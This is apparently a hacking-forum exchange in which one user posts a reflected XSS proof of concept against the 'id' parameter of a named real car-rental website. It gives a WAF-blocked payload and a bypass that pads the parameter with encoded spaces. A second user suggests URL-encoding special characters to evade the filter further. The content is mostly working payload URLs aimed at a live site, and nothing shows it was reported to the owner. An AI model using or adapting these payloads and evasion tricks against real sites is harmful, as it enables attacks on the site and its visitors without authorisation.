[zozivuln]

POC WAF BLOCKED : [url=https://www.spotcar.ma/reservation.php?id=2"><Img%20Src=OnXSS%20OnError=alert("XSS")>]https://www.spotcar.ma/reservation.php?id=1"><Img%20Src=OnXSS%20OnError=alert("XSS")>[/url]

add behind behind payload this => %20%20%20" 

POC WAF BYPASSED : [url=https://www.spotcar.ma/reservation.php?id=1%20%20%20"><Img%20Src=OnXSS%20OnError=alert("XSS")>]https://www.spotcar.ma/reservation.php?id=1%20%20%20"><Img%20Src=OnXSS%20OnError=alert("XSS")>[/url]

​​​​​​​

[ShadowSeeker]

They don't have validation, could be why it bypassed it, but i still don't understand why that went through, ping me if you get your hands on the source code.

maybe try to also url encode every special character, without the 3 spaces.